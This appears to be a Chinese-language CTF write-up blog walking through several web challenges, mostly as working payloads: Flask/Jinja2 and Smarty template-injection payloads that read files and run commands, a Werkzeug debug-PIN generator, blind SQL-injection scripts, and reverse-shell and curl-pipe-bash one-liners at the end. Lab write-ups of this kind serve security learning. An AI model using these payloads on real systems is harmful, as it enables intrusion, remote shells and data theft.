[GYCTF2020]FlaskApp

image-20210120085214408

给人的感觉就是 ssti!

解密的时候输入 1!base64 只能是在 Base64 中的可打印字符包括字母A-Za-z数字0-9

Base64 索引表:

数值 字符 数值 字符 数值 字符 数值 字符
0 A 16 Q 32 g 48 w
1 B 17 R 33 h 49 x
2 C 18 S 34 i 50 y
3 D 19 T 35 j 51 z
4 E 20 U 36 k 52 0
5 F 21 V 37 l 53 1
6 G 22 W 38 m 54 2
7 H 23 X 39 n 55 3
8 I 24 Y 40 o 56 4
9 J 25 Z 41 p 57 5
10 K 26 a 42 q 58 6
11 L 27 b 43 r 59 7
12 M 28 c 44 s 60 8
13 N 29 d 45 t 61 9
14 O 30 e 46 u 62 +
15 P 31 f 47 v 63 /

image-20210120085500185

我们可以看到 ssti 漏洞点!

分析一下他的代码!

Python format 格式化函数:

https://www.runoob.com/python/att-string-format.html

就是把输入的数据先 base64 解密!再进行模板渲染!

输入 49 不行!

但是 14 可以!

就是 waf 掉了 *

ctf 中 flask_ssti 的各种绕过技巧:

https://xz.aliyun.com/t/9008

flask 之 ssti 模版注入从零到入门:

https://xz.aliyun.com/t/3679

着对于我这个 python 菜鸟来说!还是比较硬伤的!

这道了是 python3 后!

image-20210120095749019

大佬:

https://blog.csdn.net/Alexhcf/article/details/108400293

在 jinja2 中 控制结构 {% %} 变量取值 {{ }}

这个对于没学过 python 的我咋理解呢!就是两种运行的方式把!

参考 Templates Injections 的 payload:

Code
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig

python
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__bui''ltins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}

字符串拼接绕过

payload

看目录:

python
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
python
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
python
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("l"+"s /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

读数据:

倒叙:

python
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
python
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
Code
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].popen('cat '+'/this_is_the_fl'+'ag.txt').read()}}{% endif %}{% endfor %}

这里主要是字符串拼接绕过!

师傅们还有第二种方法:

利用 PIN 码进行 RCE

服务器运行 flask 所登录的用户名

Code
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

我们可以读取 /sys/class/net/eth0/address 来获得 mac 的 16 进制:

Code
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

得到 02:42:ac:10:a2:a5 将其转 10 进制 2485377868453

image-20210120104627152

机器的 id

 linux 的 id 一般存放在 /etc/machine-id 或 /proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows 的 id 获取跟 linux 也不同。

 对于 docker 机则读取读取 /proc/self/cgroup 获取 get_machine_id ()(docker 后面那段字符串)
使用如下:

Code
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/self/cgroup').read()}}
python
import hashlib
from itertools import chain

probably_public_bits = [
'flaskweb',#服务器运行flask所登录的用户名
'flask.app',#modname
'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
'/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径
]

private_bits = [
'2485377868453',#当前网络的mac地址的十进制数
'3aded5e5389e2cb989457b0bf88b8c68d710310a4d31879010e2df97d2512eb4'#机器的id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)

image-20210120105735944

python
import os
os.popen("ls -l /").read()
os.popen("cat /this_is_the_flag.txt").read()

[GKCTF2020] 老八小超市儿

就喜欢玩渗透测试!别代码审计了!看的眼疼!头晕!😫

渗透测试 | shopxo 后台全版本获取 shell 复现

https://www.nctry.com/1660.html

访问 admin.php 后台

访问默认后台,使用 shopxo 的默认账号密码进行登录:admin shopxo

getshell

这里面有流程!

渗透测试 | shopxo 后台全版本获取 shell 复现

https://www.nctry.com/1660.html

image-20210120114914050

可以写!

直接重定向

python
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
os.system("cat /root/*>/1.txt")

f.close()

[CISCN2019 华东南赛区] Web11

image-20210120140503908

image-20210120140511617

Smarty SSTI 模板注入

https://www.freebuf.com/column/219913.html

直接 payload1:

image-20210120141954484

Code
{if phpinfo()}{/if}
{if system('cat /*')}{/if}

有一点注意:

别直接抓 http://node3.buuoj.cn:27468/xff,这会 404

要抓 http://node3.buuoj.cn:27468/xff/

image-20210120142112862

payload2:

Code
curl http://node3.buuoj.cn:27468/xff/ -H "X-Forwarded-For:{if system('cat /*')}{/if}"

curl 命令

-H/–header 自定义头信息传递给服务器

网络应用 https://man.linuxde.net/curl

[GWCTF 2019] 枯燥的抽奖

php
Wz0yVGFBxa

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

伪随机数

mt_rand () 并不是一个真・随机数生成函数,实际上绝大多数编程语言中的随机数函数生成的都都是伪随机数。关于真随机数和伪随机数的区别这里不展开解释,只需要简单了解一点

伪随机是由可确定的函数(常用线性同余),通过一个种子(常用时钟),产生的伪随机数。这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。

简单假设一下 mt_rand () 内部生成随机数的函数为:rand = seed+(i*10) 其中 seed 是随机数种子,i 是第几次调用这个随机数函数。当我们同时知道 irand 两个值的时候,就能很容易的算出 seed 的值来。比如 rand=21,i=2 代入函数 21=seed+(2*10) 得到 seed=1。是不是很简单,当我们拿到 seed 之后,就能计算出当 i 为任意值时候的 rand 的值了。

学习文章

PHP mt_rand () 随机数安全:

https://xz.aliyun.com/t/31

PHP mt_rand 安全杂谈及应用场景详解

http://13.58.107.157/archives/6112

大概了解了 mt_rand 生成的随机数不是一个真正的随机数

mt_rand 生成的随机数 。它是通过函数来控制的!我个人了解!

当你知道函数里一个参数 (种子 a)!又知道结果 y!就好比 y=ax!那 x 就可以解出!

那现在可以通过爆破爆出种子 a! 那结果 y 就是可以控制的了!可以就像别的文章里说的!把 x 理解成次数!

就是知道了种子 a! 那么 y 就是已知的了!

如:直接 py 大佬的了:

假设下面的代码为用户密码的随机生成代码:

php
<?php

function user_password() {

return mt_rand();

}



echo user_password(), "\n";

echo user_password(), "\n";

echo user_password(), "\n";

运行后我们可以得到三个用户的密码

QQ截图20181214214913.png

假设我们现在得到了第一个用户的密码:1412203388

通过这个密码我们可以猜测出后面两个用户的密码。

下面我们运行 php_mt_seed 找出 seed,命令如下:

Code
./php_mt_seed.exe 1412203388

运行截图如下:

QQ截图20181214214935.png

这里我用于测试的服务器的 PHP 版本为 5.4.45,那么 seed 就可能是 2078089285,下面写一段 PHP 代码来测试一下。

php
<?php

mt_srand(2078089285);//手工播种

for($i=0;$i<3;$i++){

echo mt_rand()." ";

}

运行结果如下:

QQ截图20181214215800.png

很明显 y 是可以预测的!

再看本题:

爆出种子!那 20 位的结果就是一定的了!不会变!

exp1

php
<?php

$pass_now = "Wz0yVGFBxa";

$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';

$len = strlen($allowable_characters) - 1;

for($j = 0; $j < strlen($pass_now); $j++)

{

for ($i = 0; $i < $len; $i++) {

if($pass_now[$j] == $allowable_characters[$i])

{

echo "$i $i 0 61 ";

break;

}

}

}

exp2

python
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='Wz0yVGFBxa'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

再爆出结果 exp3

php
<?php

mt_srand(386758274);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}

echo "<p id='p1'>".$str."</p>";

[BSidesCF 2019]Futurella

image-20210120171923805

刚看一眼,以为考 misc 里的外星人加密呢!

惯性反应看源码!

这题太水了把!!!签到题!!!

[WUSTCTF2020] 颜值成绩查询

image-20210120172342868

有报错!

目录没有!估计就是 sql 注入!

自己 (~ ̄(OO) ̄) ブ本😫了

它是整型注入!好久没遇到整型注入了!下意识就认为是字符串!不行不行要长记性!

记录一下判断过程!

Code
1'/**/or/**/1=1/**/%23


-1/**/or/**/1%23
-1/**/or/**/0%23

payload:

测试 + 暴库:

Code
-1/**/or/**/if(1,sleep(3),0)%23


-1/**/or/**/case/**/when/**/ascii(substr(database()/**/from/**/1/**/for/**/1))>80/**/then/**/1/**/else/**/0/**/end#


-1/**/or/**/case/**/when/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))>%d/**/then/**/1/**/else/**/0/**/end#%(i,j)

包表

Code

-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)/**/like('ctf'))/**/from/**/%d/**/for/**/1))like/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#

-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)/**/like('ctf'))/**/from/**/1/**/for/**/1))like/**/('80')/**/then/**/1/**/else/**/0/**/end/**/#" %(i,j)

-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)/**/like('ctf'))/**/from/**/1/**/for/**/1))like/**/('80')/**/then/**/1/**/else/**/0/**/end/**/%23

-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)/**/like('ctf'))/**/from/**/1/**/for/**/1))>/**/('80')/**/then/**/1/**/else/**/0/**/end/**/%23

爆字段

Code
flag,scgre

-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)/**/like('ctf'))/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/sleep(3)/**/else/**/0/**/end/**/#" %(i,j)

-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)/**/like('flag'))/**/from/**/1/**/for/**/1))>/**/(80)/**/then/**/1/**/else/**/0/**/end/**/%23

-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)/**/like('flag'))/**/from/**/%d/**/for/**/1))>/**/(%d)/**/then/**/1/**/else/**/0/**/end/**/#" %(i,j)

爆内容

Code
flag,vague
-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(f1lename))from(articles))/**/from/**/%d/**/for/**/1))like/**/('%d')/**/then/**/sleep(3)/**/else/**/0/**/end/**/#" %(i,j)

-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(flag))from(flag))/**/from/**/%d/**/for/**/1))like/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/%23

-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(value))from(flag))/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#"%(i,j)


-1/**/or/**/case/**/when/**/ascii(substr(mid((select(group_concat(value))from(flag))/**/from/**/%d/**/for/**/1),2,4))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#"%(i,j)


因为每次buu老是办!卡!!
-1/**/or/**/case/**/when/**/ascii(substr(mid((select(group_concat(value))from(flag)),2,4)/**/from/**/1/**/for/**/1))>/**/('80')/**/then/**/1/**/else/**/0/**/end/**/#


-1/**/or/**/case/**/when/**/ascii(substr(LEFT((select(group_concat(value))from(flag))/**/from/**/1/**/for/**/1),5))>/**/('80')/**/then/**/1/**/else/**/0/**/end/**/#

SELECT LEFT('foobarbar', 5);

-1/**/or/**/case/**/when/**/ascii(substr(LEFT((select(group_concat(value))from(flag)),5)/**/from/**/1/**/for/**/1))>/**/('80')/**/then/**/1/**/else/**/0/**/end/**/%23



-1/**/or/**/case/**/when/**/ascii(substr(LEFT((select(group_concat(value))from(flag)),5)/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#;"%(i,j)

-1/**/or/**/case/**/when/**/ascii(substr(mid((select(group_concat(value))from(flag)),2,4)/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/"#%(i,j)

flag{4c

{4cd78d
d78d20-
0-fd92
2-49b6-
b6-aa8
e-fab6

fb31bd3c}

flag{4cd78d20-fd92-49b6-aa8e-fab6fb31bd3c}

注意有一点带不带分号都可以!不知道为啥!

感觉 bool 和延迟很像!

exp:

python
#然后是二分法,二分法要快很多:
# -*- coding: UTF-8 -*-
import re
import requests
import string
import time
url = "http://bd643719-81b8-4f42-a4ec-160065111100.node3.buuoj.cn/"
flag = ''
def payload(i,j):
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
#sql = "-1/**/or/**/case/**/when/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))>%d/**/then/**/1/**/else/**/0/**/end#"%(i,j)

#sql= "-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)/**/like('ctf'))/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#" %(i,j)

#sql="-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)/**/like('flag'))/**/from/**/%d/**/for/**/1))>/**/(%d)/**/then/**/1/**/else/**/0/**/end/**/#;" %(i,j)
#sql="-1/**/or/**/case/**/when/**/ascii(substr((select(group_concat(value))from(flag))/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#"%(i,j)

#sql="-1/**/or/**/case/**/when/**/ascii(substr(mid((select(group_concat(value))from(flag))/**/from/**/%d/**/for/**/1),2,4))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#"%(i,j)
#sql="-1/**/or/**/case/**/when/**/ascii(substr(LEFT((select(group_concat(value))from(flag)),10)/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#;"%(i,j)
sql="-1/**/or/**/case/**/when/**/ascii(substr(mid((select(group_concat(value))from(flag)),32,45)/**/from/**/%d/**/for/**/1))>/**/('%d')/**/then/**/1/**/else/**/0/**/end/**/#;"%(i,j)
data = {"stunum":sql}
r = requests.get(url,params=data)
# print (r.url)
if r.status_code == 429:

print('too fast')

time.sleep(4)

if "Hi admin, your score is: 100" in r.text:
res = 1
else:
res = 0

return res

def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1

f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)

exp()
print(flag)

大佬的 xep

python
import requests
url = "http://8a12a75e-26f1-4a40-ad74-95086cfef9df.node3.buuoj.cn/?stunum="

result = ""
i = 0

while( True ):
i = i + 1
head=32
tail=127

while( head < tail ):
mid = (head + tail) >> 1

#payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)

r = requests.get(url+payload)
r.encoding = "utf-8"
#print(url+payload)
if "your score is: 100" in r.text :
head = mid + 1
else:
#print(r.text)
tail = mid

last = result

if head!=32:
result += chr(head)
else:
break
print(result)

突然想起来反弹 shell 了!

Code
bash -c "bash -i >&/dev/tcp/1.1.1.1/5555 0>&1"
curl 1.1.1.1|bash
curl http://1.1.1.1|bash

image-20210120175814440

image-20210120175914577

就是不知道为啥!以前测的时候可以!可是有一天学长测的时候出问题!结果我晚上测的时候也不行了!

现在又可以了!日了网络这东西太😫😫😫!